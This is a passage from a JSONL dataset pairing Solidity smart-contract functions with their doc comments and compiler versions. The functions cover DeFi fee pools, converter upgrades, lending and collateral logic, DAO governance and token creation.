tickLower,\n int24 tickUpper,\n uint128 liquidity\n ) internal view returns (uint256, uint256) {\n (uint160 sqrtRatioX96, , , , , , ) = pool.slot0();\n return\n LiquidityAmounts.getAmountsForLiquidity(\n sqrtRatioX96,\n TickMath.getSqrtRatioAtTick(tickLower),\n TickMath.getSqrtRatioAtTick(tickUpper),\n liquidity\n );\n }", "version": "0.7.6"} {"comment": "// @return true if the transaction can buy tokens\n// check for valid time period, min amount and within cap", "function_code": "function validPurchase() internal constant returns (bool) {\r\n bool withinPeriod = startDate <= now && endDate >= now;\r\n bool nonZeroPurchase = msg.value != 0;\r\n bool minAmount = msg.value >= minimumParticipationAmount;\r\n bool withinCap = weiRaised.add(msg.value) <= cap;\r\n\r\n return withinPeriod && nonZeroPurchase && minAmount && !isFinalized && withinCap;\r\n }", "version": "0.4.20"} {"comment": "// safety value to return ownership (anyone can invoke)", "function_code": "function returnOwnership(address forContract) public {\r\n bytes memory payload = abi.encodeWithSignature(\"nominateNewOwner(address)\", owner);\r\n\r\n // solhint-disable avoid-low-level-calls\r\n (bool success, ) = forContract.call(payload);\r\n\r\n if (!success) {\r\n // then try legacy way\r\n bytes memory legacyPayload = abi.encodeWithSignature(\"nominateOwner(address)\", owner);\r\n\r\n // solhint-disable avoid-low-level-calls\r\n (bool legacySuccess, ) = forContract.call(legacyPayload);\r\n\r\n require(legacySuccess, \"Legacy nomination failed\");\r\n }\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @notice return the full vesting schedule entries vest for a given user.\r\n * @dev For DApps to display the vesting schedule for the\r\n * inflationary supply over 5 years. Solidity cant return variable length arrays\r\n * so this is returning pairs of data. Vesting Time at [0] and quantity at [1] and so on\r\n */", "function_code": "function checkAccountSchedule(address account) public view returns (uint[520] memory) {\r\n uint[520] memory _result;\r\n uint schedules = _numVestingEntries(account);\r\n for (uint i = 0; i < schedules; i++) {\r\n uint[2] memory pair = getVestingScheduleEntry(account, i);\r\n _result[i * 2] = pair[0];\r\n _result[i * 2 + 1] = pair[1];\r\n }\r\n return _result;\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @notice Send the fees to claiming address.\r\n * @param account The address to send the fees to.\r\n * @param sUSDAmount The amount of fees priced in sUSD.\r\n */", "function_code": "function _payFees(address account, uint sUSDAmount) internal notFeeAddress(account) {\r\n // Grab the sUSD Synth\r\n ISynth sUSDSynth = issuer().synths(sUSD);\r\n\r\n // NOTE: we do not control the FEE_ADDRESS so it is not possible to do an\r\n // ERC20.approve() transaction to allow this feePool to call ERC20.transferFrom\r\n // to the accounts address\r\n\r\n // Burn the source amount\r\n sUSDSynth.burn(FEE_ADDRESS, sUSDAmount);\r\n\r\n // Mint their new synths\r\n sUSDSynth.issue(account, sUSDAmount);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @notice The total fees available in the system to be withdrawnn in sUSD\r\n */", "function_code": "function totalFeesAvailable() external view returns (uint) {\r\n uint totalFees = 0;\r\n\r\n // Fees in fee period [0] are not yet available for withdrawal\r\n for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {\r\n totalFees = totalFees.add(_recentFeePeriodsStorage(i).feesToDistribute);\r\n totalFees = totalFees.sub(_recentFeePeriodsStorage(i).feesClaimed);\r\n }\r\n\r\n return totalFees;\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @notice The fees available to be withdrawn by a specific account, priced in sUSD\r\n * @dev Returns two amounts, one for fees and one for SNX rewards\r\n */", "function_code": "function feesAvailable(address account) public view returns (uint, uint) {\r\n // Add up the fees\r\n uint[2][FEE_PERIOD_LENGTH] memory userFees = feesByPeriod(account);\r\n\r\n uint totalFees = 0;\r\n uint totalRewards = 0;\r\n\r\n // Fees & Rewards in fee period [0] are not yet available for withdrawal\r\n for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {\r\n totalFees = totalFees.add(userFees[i][0]);\r\n totalRewards = totalRewards.add(userFees[i][1]);\r\n }\r\n\r\n // And convert totalFees to sUSD\r\n // Return totalRewards as is in SNX amount\r\n return (totalFees, totalRewards);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev Sets the initial {converter} and {vest} contract addresses. Additionally, mints\r\n * the Vader amount available for conversion as well as the team allocation that is meant\r\n * to be vested to each respective contract.\r\n *\r\n * Emits a {ProtocolInitialized} event indicating all the supplied values of the function.\r\n *\r\n * Requirements:\r\n *\r\n * - the caller must be the deployer of the contract\r\n * - the contract must not have already been initialized\r\n */", "function_code": "function setComponents(\r\n IConverter _converter,\r\n ILinearVesting _vest,\r\n address[] calldata vesters,\r\n uint192[] calldata amounts\r\n ) external onlyOwner {\r\n require(\r\n _converter != IConverter(_ZERO_ADDRESS) &&\r\n _vest != ILinearVesting(_ZERO_ADDRESS),\r\n \"Vader::setComponents: Incorrect Arguments\"\r\n );\r\n require(\r\n converter == IConverter(_ZERO_ADDRESS),\r\n \"Vader::setComponents: Already Set\"\r\n );\r\n\r\n converter = _converter;\r\n vest = _vest;\r\n\r\n _mint(address(_converter), _VETH_ALLOCATION);\r\n _mint(address(_vest), _TEAM_ALLOCATION);\r\n\r\n _vest.begin(vesters, amounts);\r\n\r\n emit ProtocolInitialized(\r\n address(_converter),\r\n address(_vest)\r\n );\r\n }", "version": "0.8.9"} {"comment": "//pay in - just send ETH to contract address", "function_code": "receive() external payable {\r\n require(!collectEnd, \"Collect ended\");\r\n uint256 amount = msg.value + balances[msg.sender];\r\n //if you want pay in more than 9 ETH - contact staff to KYC/AML\r\n //and pay directly to owner address\r\n //not KYC/AML-ed payments will be treated as a donation\r\n require(amount <= noAmlMax, \"Need KYC/AML\");\r\n balances[msg.sender] = amount;\r\n //fail in case that somethig* happend and collection not closed in 6 months\r\n if (block.timestamp > failsafe) {\r\n collectEnd = true;\r\n failed = true;\r\n }\r\n //*ie you-know-who dies\r\n }", "version": "0.8.1"} {"comment": "//end collecting - take ETH or fail and allow to withdraw", "function_code": "function end() external {\r\n require(!collectEnd, \"Collect ended\");\r\n collectEnd = true;\r\n require(msg.sender == owner, \"Only for owner\");\r\n if (totalCollected() < minETH) {\r\n failed = true;\r\n } else {\r\n send(owner, address(this).balance);\r\n }\r\n }", "version": "0.8.1"} {"comment": "/** Sets the status of a given DAO. */", "function_code": "function setDAOStatus(address daoAddress, uint256 index, uint256 status) external {\r\n // Reentrancy guard.\r\n require(_status == RE_NOT_ENTERED || _status == RE_FROZEN);\r\n require(msg.sender == _manager, \"Not manager\");\r\n\r\n // Validate the index as well.\r\n require(_daoAddresses[index] == daoAddress, \"Non-matching DAO index\");\r\n\r\n // Validate the status.\r\n require(status == VALID_DAO || status == INVALID_DAO, \"Invalid status\");\r\n uint256 currentStatus = _isValidDAO[daoAddress];\r\n require(currentStatus != status && (currentStatus == VALID_DAO || currentStatus == INVALID_DAO), \"Invalid current status\");\r\n\r\n // Update the status.\r\n _isValidDAO[daoAddress] = status;\r\n\r\n // Hello world!\r\n emit DAOStatusChanged(daoAddress, status);\r\n }", "version": "0.6.12"} {"comment": "/** Upgrades to the new DAO version. Can only be done when frozen. */", "function_code": "function upgradeDAO(address daoAddress) external {\r\n // Reentrancy guard.\r\n require(_status == RE_FROZEN);\r\n _status = RE_ENTERED;\r\n\r\n // It must be a contract.\r\n uint256 codeSize;\r\n assembly { codeSize := extcodesize(daoAddress) }\r\n require(codeSize > 0, \"Not a contract\");\r\n\r\n // Make sure it hasn't been tracked yet.\r\n require(_isValidDAO[daoAddress] == UNTRACKED_DAO, \"DAO already tracked\");\r\n\r\n // Upgrade the DAO.\r\n _daoAddresses.push(daoAddress);\r\n _isValidDAO[daoAddress] = VALID_DAO;\r\n\r\n // Enable the DAO.\r\n IGoaldDAO(daoAddress).makeReady(_governanceStage, _goaldCount);\r\n\r\n // Hello world!\r\n emit DAOUpgraded(daoAddress);\r\n\r\n // By storing the original amount once again, a refund is triggered (see https://eips.ethereum.org/EIPS/eip-2200).\r\n _status = RE_FROZEN;\r\n }", "version": "0.6.12"} {"comment": "/** Returns the address of the DAO which deployed the Goald. */", "function_code": "function getGoaldDAO(uint256 id) external view returns (address) {\r\n require(id < _goaldCount, \"ID too large\");\r\n\r\n uint256 addressesCount = _daoAddresses.length;\r\n uint256 index;\r\n uint256 goaldCount;\r\n address goaldAddress;\r\n\r\n for (; index < addressesCount; index ++) {\r\n goaldAddress = _daoAddresses[index];\r\n goaldCount += IGoaldDAO(goaldAddress).getGoaldCount();\r\n if (id <= goaldCount) {\r\n return goaldAddress;\r\n }\r\n }\r\n\r\n revert(\"Unknown DAO\");\r\n }", "version": "0.6.12"} {"comment": "/** Releases management to the DAO. */", "function_code": "function initializeDAO() external {\r\n // Reentrancy guard.\r\n require(_status == RE_NOT_ENTERED);\r\n _status = RE_ENTERED;\r\n\r\n require(msg.sender == _manager, \"Not manager\");\r\n require(_governanceStage == STAGE_ISSUANCE_CLAIMED, \"Issuance unclaimed\");\r\n\r\n // Burn the tokens.\r\n uint256 startingBalance = balanceOf(_manager);\r\n require(startingBalance >= 110000 * REWARD_THRESHOLD, \"Not enough tokens\");\r\n _burn(_manager, 110000 * REWARD_THRESHOLD);\r\n\r\n // Update the stage.\r\n _governanceStage = STAGE_DAO_INITIATED;\r\n\r\n uint256 count = _daoAddresses.length;\r\n\r\n // If the manager no longer is a holder we need to tell the latest DAO.\r\n if (count > 0 && startingBalance - (110000 * REWARD_THRESHOLD) < REWARD_THRESHOLD) {\r\n IGoaldDAO(_daoAddresses[count - 1]).initializeDecreasesHolders();\r\n }\r\n\r\n // Tell the DAOs so they can create rewards.\r\n uint256 index;\r\n for (; index < count; index++) {\r\n IGoaldDAO(_daoAddresses[index]).updateGovernanceStage();\r\n }\r\n\r\n // By storing the original amount once again, a refund is triggered (see https://eips.ethereum.org/EIPS/eip-2200).\r\n _status = RE_NOT_ENTERED;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * Executes a function on the DAO. Only the manager can call this function. This DOES NOT guard against reentrancy. Do not use\r\n * this unless reentrancy is needed or the call is made to an invlaid contract. Otherwise use `safeCallDAO()`. This code is\r\n * duplicated in place of having an internal `_callDAO()` since reentrancy guarding is not guaranteed.\r\n *\r\n * @param daoAddress Which DAO is being called.\r\n * @param encodedData The non-packed, abi encoded calldata that will be included with the function call.\r\n */", "function_code": "function unsafeCallDAO(address daoAddress, bytes calldata encodedData) external returns (bytes memory) {\r\n // Reentrancy guard. We check against both normal reentrancy and DAO call reentrancy.\r\n require(_daoStatus == RE_NOT_ENTERED);\r\n _daoStatus = RE_ENTERED;\r\n\r\n require(msg.sender == _manager, \"Not manager\");\r\n // `_isValidDAO` since DAOs can be disabled.\r\n require(_isValidDAO[daoAddress] != UNTRACKED_DAO, \"DAO not tracked\");\r\n\r\n // Call the function, bubbling on errors.\r\n (bool success, bytes memory returnData) = daoAddress.call(encodedData);\r\n\r\n // By storing the original amount once again, a refund is triggered (see https://eips.ethereum.org/EIPS/eip-2200).\r\n _daoStatus = RE_NOT_ENTERED;\r\n \r\n // See @OpenZeppelin.Address._functionCallWithValue()\r\n if (success) {\r\n return returnData;\r\n } else {\r\n // Look for revert reason and bubble it up if present\r\n if (returnData.length > 0) {\r\n // The easiest way to bubble the revert reason is using memory via assembly\r\n\r\n // solhint-disable-next-line no-inline-assembly\r\n assembly {\r\n let returnData_size := mload(returnData)\r\n revert(add(32, returnData), returnData_size)\r\n }\r\n } else {\r\n revert();\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "/** This is overridden so we can update the reward balancees prior to the transfer completing. */", "function_code": "function transfer(address recipient, uint256 amount) public override returns (bool) {\r\n // Reentrancy guard.\r\n require(_status == RE_NOT_ENTERED);\r\n _status = RE_ENTERED;\r\n\r\n // Preserve the original balances so we know if we need to change `_rewardHolders`. We need to call `pre()` and `post()` on\r\n // every DAO version to make sure that the reward balances are updated correctly.\r\n uint256 senderBefore = balanceOf(msg.sender);\r\n uint256 recipientBefore = balanceOf(recipient);\r\n\r\n // Update reward balances.\r\n uint256 count = _daoAddresses.length;\r\n uint256 index;\r\n for (; index < count; index ++) {\r\n IGoaldDAO(_daoAddresses[index]).preTransfer(msg.sender, recipient);\r\n }\r\n \r\n // Transfer the tokens.\r\n super.transfer(recipient, amount);\r\n \r\n // Update holder counts.\r\n index = 0;\r\n for (; index < count; index ++) {\r\n IGoaldDAO(_daoAddresses[index]).postTransfer(msg.sender, senderBefore, balanceOf(msg.sender), recipientBefore, balanceOf(recipient));\r\n }\r\n\r\n // By storing the original amount once again, a refund is triggered (see https://eips.ethereum.org/EIPS/eip-2200).\r\n _status = RE_NOT_ENTERED;\r\n\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "/// @notice Create a token without setting uri\n/// @dev It emits `NewAdapter` if `_erc20` is true\n/// @param _supply The amount of token to create\n/// @param _receiver Address that receives minted token\n/// @param _settingOperator Address that can perform setTimeInterval\n/// and set ERC20 Attribute\n/// @param _needTime Set to `true` if need to query holding time for token\n/// @param _erc20 Set to `true` to create a erc20 adapter for token\n/// @return Token ID", "function_code": "function createToken(\n uint256 _supply,\n address _receiver,\n address _settingOperator,\n bool _needTime,\n bool _erc20\n )\n public \n override\n returns (uint256)\n {\n uint256 tokenId = _mint(_supply, _receiver, _settingOperator, _needTime, \"\");\n if (_erc20)\n _createAdapter(tokenId);\n return tokenId;\n }", "version": "0.8.1"} {"comment": "/// @notice Create a token with uri\n/// @param _supply The amount of token to create\n/// @param _receiver Address that receives minted token\n/// @param _settingOperator Address that can perform setTimeInterval\n/// and set ERC20 Attribute\n/// @param _needTime Set to `true` if need to query holding time for token\n/// @param _uri URI that points to token metadata\n/// @param _erc20 Set to `true` to create a erc20 adapter for token\n/// @return Token ID", "function_code": "function createToken(\n uint256 _supply,\n address _receiver,\n address _settingOperator,\n bool _needTime,\n string calldata _uri,\n bool _erc20\n )\n external\n override\n returns (uint256)\n {\n uint256 tokenId = createToken(_supply, _receiver, _settingOperator, _needTime, _erc20);\n _setTokenURI(tokenId, _uri);\n return tokenId;\n }", "version": "0.8.1"} {"comment": "/// @notice Create both normal token and recording token without setting uri\n/// @dev Recording token shares the same token ID with normal token\n/// @param _supply The amount of token to create\n/// @param _supplyOfRecording The amount of recording token to create\n/// @param _receiver Address that receives minted token\n/// @param _settingOperator Address that can perform setTimeInterval\n/// and set ERC20 Attribute\n/// @param _needTime Set to `true` if need to query holding time for token\n/// @param _recordingOperator Address that can manage recording token\n/// @param _erc20 Set to `true` to create a erc20 adapter for token\n/// @return Token ID", "function_code": "function createTokenWithRecording(\n uint256 _supply,\n uint256 _supplyOfRecording,\n address _receiver,\n address _settingOperator,\n bool _needTime,\n address _recordingOperator,\n bool _erc20\n )\n public\n override\n returns (uint256)\n {\n uint256 tokenId = createToken(_supply, _receiver, _settingOperator, _needTime, _erc20);\n _mintCopy(tokenId, _supplyOfRecording, _recordingOperator);\n return tokenId;\n }", "version": "0.8.1"} {"comment": "/// @notice Set starting time and ending time for token holding time calculation\n/// @dev Starting time must be greater than time at the moment\n/// @dev To save gas cost, here use uint128 to store time\n/// @param _startTime Starting time in unix time format\n/// @param _endTime Ending time in unix time format", "function_code": "function setTimeInterval(\n uint256 _tokenId,\n uint128 _startTime,\n uint128 _endTime\n )\n external\n override\n {\n require(_msgSender() == _settingOperators[_tokenId], \"Not authorized\");\n require(_startTime >= block.timestamp, \"Time smaller than now\");\n require(_endTime > _startTime, \"End greater than start\");\n require(_timeInterval[_tokenId] == 0, \"Already set\");\n\n _setTime(_tokenId, _startTime, _endTime);\n }", "version": "0.8.1"} {"comment": "/// @notice Set erc20 token attribute\n/// @dev Throws if `msg.sender` is not authorized setting operator\n/// @param _tokenId Corresponding token ID with erc20 adapter\n/// @param _name Name of the token\n/// @param _symbol Symbol of the token\n/// @param _decimals Number of decimals to use", "function_code": "function setERC20Attribute(\n uint256 _tokenId,\n string memory _name,\n string memory _symbol,\n uint8 _decimals\n )\n external\n override\n {\n require(_msgSender() == _settingOperators[_tokenId], \"Not authorized\");\n require(_adapters[_tokenId] != address(0), \"No adapter found\");\n\n _setERC20Attribute(_tokenId, _name, _symbol, _decimals);\n }", "version": "0.8.1"} {"comment": "/**\r\n @dev upgrade an old converter to the latest version\r\n will throw if ownership wasn't transferred to the upgrader before calling this function.\r\n ownership of the new converter will be transferred back to the original owner.\r\n fires the ConverterUpgrade event upon success.\r\n \r\n @param _oldConverter old converter contract address\r\n @param _version old converter version\r\n */", "function_code": "function upgrade(IBancorConverterExtended _oldConverter, bytes32 _version) public {\r\n bool formerVersions = false;\r\n if (_version == \"0.4\")\r\n formerVersions = true;\r\n acceptConverterOwnership(_oldConverter);\r\n IBancorConverterExtended newConverter = createConverter(_oldConverter);\r\n copyConnectors(_oldConverter, newConverter, formerVersions);\r\n copyConversionFee(_oldConverter, newConverter);\r\n copyQuickBuyPath(_oldConverter, newConverter);\r\n transferConnectorsBalances(_oldConverter, newConverter, formerVersions); \r\n ISmartToken token = _oldConverter.token();\r\n\r\n if (token.owner() == address(_oldConverter)) {\r\n _oldConverter.transferTokenOwnership(newConverter);\r\n newConverter.acceptTokenOwnership();\r\n }\r\n\r\n _oldConverter.transferOwnership(msg.sender);\r\n newConverter.transferOwnership(msg.sender);\r\n newConverter.transferManagement(msg.sender);\r\n\r\n emit ConverterUpgrade(address(_oldConverter), address(newConverter));\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev creates a new converter with same basic data as the original old converter\r\n the newly created converter will have no connectors at this step.\r\n \r\n @param _oldConverter old converter contract address\r\n \r\n @return the new converter new converter contract address\r\n */", "function_code": "function createConverter(IBancorConverterExtended _oldConverter) private returns(IBancorConverterExtended) {\r\n IWhitelist whitelist;\r\n ISmartToken token = _oldConverter.token();\r\n uint32 maxConversionFee = _oldConverter.maxConversionFee();\r\n\r\n address converterAdderess = bancorConverterFactory.createConverter(\r\n token,\r\n registry,\r\n maxConversionFee,\r\n IERC20Token(address(0)),\r\n 0\r\n );\r\n\r\n IBancorConverterExtended converter = IBancorConverterExtended(converterAdderess);\r\n converter.acceptOwnership();\r\n converter.acceptManagement();\r\n\r\n // get the contract features address from the registry\r\n IContractFeatures features = IContractFeatures(registry.getAddress(ContractIds.CONTRACT_FEATURES));\r\n\r\n if (features.isSupported(_oldConverter, FeatureIds.CONVERTER_CONVERSION_WHITELIST)) {\r\n whitelist = _oldConverter.conversionWhitelist();\r\n if (whitelist != address(0))\r\n converter.setConversionWhitelist(whitelist);\r\n }\r\n\r\n return converter;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev copies the connectors from the old converter to the new one.\r\n note that this will not work for an unlimited number of connectors due to block gas limit constraints.\r\n \r\n @param _oldConverter old converter contract address\r\n @param _newConverter new converter contract address\r\n @param _isLegacyVersion true if the converter version is under 0.5\r\n */", "function_code": "function copyConnectors(IBancorConverterExtended _oldConverter, IBancorConverterExtended _newConverter, bool _isLegacyVersion)\r\n private\r\n {\r\n uint256 virtualBalance;\r\n uint32 weight;\r\n bool isVirtualBalanceEnabled;\r\n bool isPurchaseEnabled;\r\n bool isSet;\r\n uint16 connectorTokenCount = _isLegacyVersion ? _oldConverter.reserveTokenCount() : _oldConverter.connectorTokenCount();\r\n\r\n for (uint16 i = 0; i < connectorTokenCount; i++) {\r\n address connectorAddress = _isLegacyVersion ? _oldConverter.reserveTokens(i) : _oldConverter.connectorTokens(i);\r\n (virtualBalance, weight, isVirtualBalanceEnabled, isPurchaseEnabled, isSet) = readConnector(\r\n _oldConverter,\r\n connectorAddress,\r\n _isLegacyVersion\r\n );\r\n\r\n IERC20Token connectorToken = IERC20Token(connectorAddress);\r\n _newConverter.addConnector(connectorToken, weight, isVirtualBalanceEnabled);\r\n\r\n if (isVirtualBalanceEnabled)\r\n _newConverter.updateConnector(connectorToken, weight, isVirtualBalanceEnabled, virtualBalance);\r\n }\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev copies the quick buy path from the old converter to the new one\r\n \r\n @param _oldConverter old converter contract address\r\n @param _newConverter new converter contract address\r\n */", "function_code": "function copyQuickBuyPath(IBancorConverterExtended _oldConverter, IBancorConverterExtended _newConverter) private {\r\n uint256 quickBuyPathLength = _oldConverter.getQuickBuyPathLength();\r\n if (quickBuyPathLength <= 0)\r\n return;\r\n\r\n IERC20Token[] memory path = new IERC20Token[](quickBuyPathLength);\r\n for (uint256 i = 0; i < quickBuyPathLength; i++) {\r\n path[i] = _oldConverter.quickBuyPath(i);\r\n }\r\n\r\n _newConverter.setQuickBuyPath(path);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev transfers the balance of each connector in the old converter to the new one.\r\n note that the function assumes that the new converter already has the exact same number of\r\n also, this will not work for an unlimited number of connectors due to block gas limit constraints.\r\n \r\n @param _oldConverter old converter contract address\r\n @param _newConverter new converter contract address\r\n @param _isLegacyVersion true if the converter version is under 0.5\r\n */", "function_code": "function transferConnectorsBalances(IBancorConverterExtended _oldConverter, IBancorConverterExtended _newConverter, bool _isLegacyVersion)\r\n private\r\n {\r\n uint256 connectorBalance;\r\n uint16 connectorTokenCount = _isLegacyVersion ? _oldConverter.reserveTokenCount() : _oldConverter.connectorTokenCount();\r\n\r\n for (uint16 i = 0; i < connectorTokenCount; i++) {\r\n address connectorAddress = _isLegacyVersion ? _oldConverter.reserveTokens(i) : _oldConverter.connectorTokens(i);\r\n IERC20Token connector = IERC20Token(connectorAddress);\r\n connectorBalance = connector.balanceOf(_oldConverter);\r\n _oldConverter.withdrawTokens(connector, address(_newConverter), connectorBalance);\r\n }\r\n }", "version": "0.4.21"} {"comment": "/// @notice Serves as the constructor for clones, as clones can't have a regular constructor\n/// @dev `data` is abi encoded in the format: (IERC20 collateral, IERC20 asset, IOracle oracle, bytes oracleData)", "function_code": "function init(bytes calldata data) public payable override {\r\n require(address(collateral) == address(0), \"Cauldron: already initialized\");\r\n (collateral, oracle, oracleData, accrueInfo.INTEREST_PER_SECOND, LIQUIDATION_MULTIPLIER, COLLATERIZATION_RATE, BORROW_OPENING_FEE) = abi.decode(data, (IERC20, IOracle, bytes, uint64, uint256, uint256, uint256));\r\n require(address(collateral) != address(0), \"Cauldron: bad pair\");\r\n }", "version": "0.6.12"} {"comment": "/// @notice Accrues the interest on the borrowed tokens and handles the accumulation of fees.", "function_code": "function accrue() public {\r\n AccrueInfo memory _accrueInfo = accrueInfo;\r\n // Number of seconds since accrue was called\r\n uint256 elapsedTime = block.timestamp - _accrueInfo.lastAccrued;\r\n if (elapsedTime == 0) {\r\n return;\r\n }\r\n _accrueInfo.lastAccrued = uint64(block.timestamp);\r\n\r\n Rebase memory _totalBorrow = totalBorrow;\r\n if (_totalBorrow.base == 0) {\r\n accrueInfo = _accrueInfo;\r\n return;\r\n }\r\n\r\n // Accrue interest\r\n uint128 extraAmount = (uint256(_totalBorrow.elastic).mul(_accrueInfo.INTEREST_PER_SECOND).mul(elapsedTime) / 1e18).to128();\r\n _totalBorrow.elastic = _totalBorrow.elastic.add(extraAmount);\r\n\r\n _accrueInfo.feesEarned = _accrueInfo.feesEarned.add(extraAmount);\r\n totalBorrow = _totalBorrow;\r\n accrueInfo = _accrueInfo;\r\n\r\n emit LogAccrue(extraAmount);\r\n }", "version": "0.6.12"} {"comment": "/// @notice Concrete implementation of `isSolvent`. Includes a third parameter to allow caching `exchangeRate`.\n/// @param _exchangeRate The exchange rate. Used to cache the `exchangeRate` between calls.", "function_code": "function _isSolvent(address user, uint256 _exchangeRate) internal view returns (bool) {\r\n // accrue must have already been called!\r\n uint256 borrowPart = userBorrowPart[user];\r\n if (borrowPart == 0) return true;\r\n uint256 collateralShare = userCollateralShare[user];\r\n if (collateralShare == 0) return false;\r\n\r\n Rebase memory _totalBorrow = totalBorrow;\r\n\r\n return\r\n bentoBox.toAmount(\r\n collateral,\r\n collateralShare.mul(EXCHANGE_RATE_PRECISION / COLLATERIZATION_RATE_PRECISION).mul(COLLATERIZATION_RATE),\r\n false\r\n ) >=\r\n // Moved exchangeRate here instead of dividing the other side to preserve more precision\r\n borrowPart.mul(_totalBorrow.elastic).mul(_exchangeRate) / _totalBorrow.base;\r\n }", "version": "0.6.12"} {"comment": "/// @notice Gets the exchange rate. I.e how much collateral to buy 1e18 asset.\n/// This function is supposed to be invoked if needed because Oracle queries can be expensive.\n/// @return updated True if `exchangeRate` was updated.\n/// @return rate The new exchange rate.", "function_code": "function updateExchangeRate() public returns (bool updated, uint256 rate) {\r\n (updated, rate) = oracle.get(oracleData);\r\n\r\n if (updated) {\r\n exchangeRate = rate;\r\n emit LogExchangeRate(rate);\r\n } else {\r\n // Return the old rate if fetching wasn't successful\r\n rate = exchangeRate;\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// @dev Helper function to move tokens.\n/// @param token The ERC-20 token.\n/// @param share The amount in shares to add.\n/// @param total Grand total amount to deduct from this contract's balance. Only applicable if `skim` is True.\n/// Only used for accounting checks.\n/// @param skim If True, only does a balance check on this contract.\n/// False if tokens from msg.sender in `bentoBox` should be transferred.", "function_code": "function _addTokens(\r\n IERC20 token,\r\n uint256 share,\r\n uint256 total,\r\n bool skim\r\n ) internal {\r\n if (skim) {\r\n require(share <= bentoBox.balanceOf(token, address(this)).sub(total), \"Cauldron: Skim too much\");\r\n } else {\r\n bentoBox.transfer(token, msg.sender, address(this), share);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// @notice Adds `collateral` from msg.sender to the account `to`.\n/// @param to The receiver of the tokens.\n/// @param skim True if the amount should be skimmed from the deposit balance of msg.sender.x\n/// False if tokens from msg.sender in `bentoBox` should be transferred.\n/// @param share The amount of shares to add for `to`.", "function_code": "function addCollateral(\r\n address to,\r\n bool skim,\r\n uint256 share\r\n ) public {\r\n userCollateralShare[to] = userCollateralShare[to].add(share);\r\n uint256 oldTotalCollateralShare = totalCollateralShare;\r\n totalCollateralShare = oldTotalCollateralShare.add(share);\r\n _addTokens(collateral, share, oldTotalCollateralShare, skim);\r\n emit LogAddCollateral(skim ? address(bentoBox) : msg.sender, to, share);\r\n }", "version": "0.6.12"} {"comment": "/// @dev Concrete implementation of `borrow`.", "function_code": "function _borrow(address to, uint256 amount) internal returns (uint256 part, uint256 share) {\r\n uint256 feeAmount = amount.mul(BORROW_OPENING_FEE) / BORROW_OPENING_FEE_PRECISION; // A flat % fee is charged for any borrow\r\n (totalBorrow, part) = totalBorrow.add(amount.add(feeAmount), true);\r\n accrueInfo.feesEarned = accrueInfo.feesEarned.add(uint128(feeAmount));\r\n userBorrowPart[msg.sender] = userBorrowPart[msg.sender].add(part);\r\n\r\n // As long as there are tokens on this contract you can 'mint'... this enables limiting borrows\r\n share = bentoBox.toShare(magicInternetMoney, amount, false);\r\n bentoBox.transfer(magicInternetMoney, address(this), to, share);\r\n\r\n emit LogBorrow(msg.sender, to, amount.add(feeAmount), part);\r\n }", "version": "0.6.12"} {"comment": "/// @dev Concrete implementation of `repay`.", "function_code": "function _repay(\r\n address to,\r\n bool skim,\r\n uint256 part\r\n ) internal returns (uint256 amount) {\r\n (totalBorrow, amount) = totalBorrow.sub(part, true);\r\n userBorrowPart[to] = userBorrowPart[to].sub(part);\r\n\r\n uint256 share = bentoBox.toShare(magicInternetMoney, amount, true);\r\n bentoBox.transfer(magicInternetMoney, skim ? address(bentoBox) : msg.sender, address(this), share);\r\n emit LogRepay(skim ? address(bentoBox) : msg.sender, to, amount, part);\r\n }", "version": "0.6.12"} {"comment": "/// @dev Helper function for choosing the correct value (`value1` or `value2`) depending on `inNum`.", "function_code": "function _num(\r\n int256 inNum,\r\n uint256 value1,\r\n uint256 value2\r\n ) internal pure returns (uint256 outNum) {\r\n outNum = inNum >= 0 ? uint256(inNum) : (inNum == USE_VALUE1 ? value1 : value2);\r\n }", "version": "0.6.12"} {"comment": "/// @dev Helper function for depositing into `bentoBox`.", "function_code": "function _bentoDeposit(\r\n bytes memory data,\r\n uint256 value,\r\n uint256 value1,\r\n uint256 value2\r\n ) internal returns (uint256, uint256) {\r\n (IERC20 token, address to, int256 amount, int256 share) = abi.decode(data, (IERC20, address, int256, int256));\r\n amount = int256(_num(amount, value1, value2)); // Done this way to avoid stack too deep errors\r\n share = int256(_num(share, value1, value2));\r\n return bentoBox.deposit{value: value}(token, msg.sender, to, uint256(amount), uint256(share));\r\n }", "version": "0.6.12"} {"comment": "/// @dev Helper function to withdraw from the `bentoBox`.", "function_code": "function _bentoWithdraw(\r\n bytes memory data,\r\n uint256 value1,\r\n uint256 value2\r\n ) internal returns (uint256, uint256) {\r\n (IERC20 token, address to, int256 amount, int256 share) = abi.decode(data, (IERC20, address, int256, int256));\r\n return bentoBox.withdraw(token, msg.sender, to, _num(amount, value1, value2), _num(share, value1, value2));\r\n }", "version": "0.6.12"} {"comment": "/// @dev Helper function to perform a contract call and eventually extracting revert messages on failure.\n/// Calls to `bentoBox` are not allowed for obvious security reasons.\n/// This also means that calls made from this contract shall *not* be trusted.", "function_code": "function _call(\r\n uint256 value,\r\n bytes memory data,\r\n uint256 value1,\r\n uint256 value2\r\n ) internal returns (bytes memory, uint8) {\r\n (address callee, bytes memory callData, bool useValue1, bool useValue2, uint8 returnValues) =\r\n abi.decode(data, (address, bytes, bool, bool, uint8));\r\n\r\n if (useValue1 && !useValue2) {\r\n callData = abi.encodePacked(callData, value1);\r\n } else if (!useValue1 && useValue2) {\r\n callData = abi.encodePacked(callData, value2);\r\n } else if (useValue1 && useValue2) {\r\n callData = abi.encodePacked(callData, value1, value2);\r\n }\r\n\r\n require(callee != address(bentoBox) && callee != address(this), \"Cauldron: can't call\");\r\n\r\n (bool success, bytes memory returnData) = callee.call{value: value}(callData);\r\n require(success, \"Cauldron: call failed\");\r\n return (returnData, returnValues);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Burns a 